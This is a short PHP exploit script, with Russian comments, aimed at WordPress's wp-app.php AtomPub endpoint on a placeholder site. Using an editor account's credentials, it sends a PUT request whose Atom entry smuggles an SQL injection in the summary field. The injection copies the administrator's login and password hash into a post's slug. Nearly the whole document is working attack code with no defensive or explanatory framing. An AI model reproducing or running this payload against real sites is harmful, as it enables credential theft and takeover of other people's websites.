function xml_escape($string)
{
	 return str_replace(array('&','"',"'",'<','>'), 
		array('&','"',''','<','>'), 
		$string );
}

<?php
$site='lamer.com';
$path='/wp223/wp-app.php?action=/post/1'; //тут айди поста
$user='editor'; //логин на блоге
$passwd='editor'; //пароль на блоге 

$auth=base64_encode($user.":".$passwd);
$fp = fsockopen($site, 80, $errno, $errstr, 30);	
$data='<feed>
    <entry>
        <id>http://lamer.com/wp223/2009/03/01/hello-world/</id>
        <title type="html">test\</title>
        <summary type="html">,post_name=(select concat(user_login,0x3a,user_pass) from wp_users where ID=1) where id=1/*</summary>       
    </entry>
</feed>';

$out = "PUT $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-Type: application/atom+xml\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Authorization: Basic $auth\r\n";
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";  
fwrite($fp, $out.$data);
fclose($fp);
?>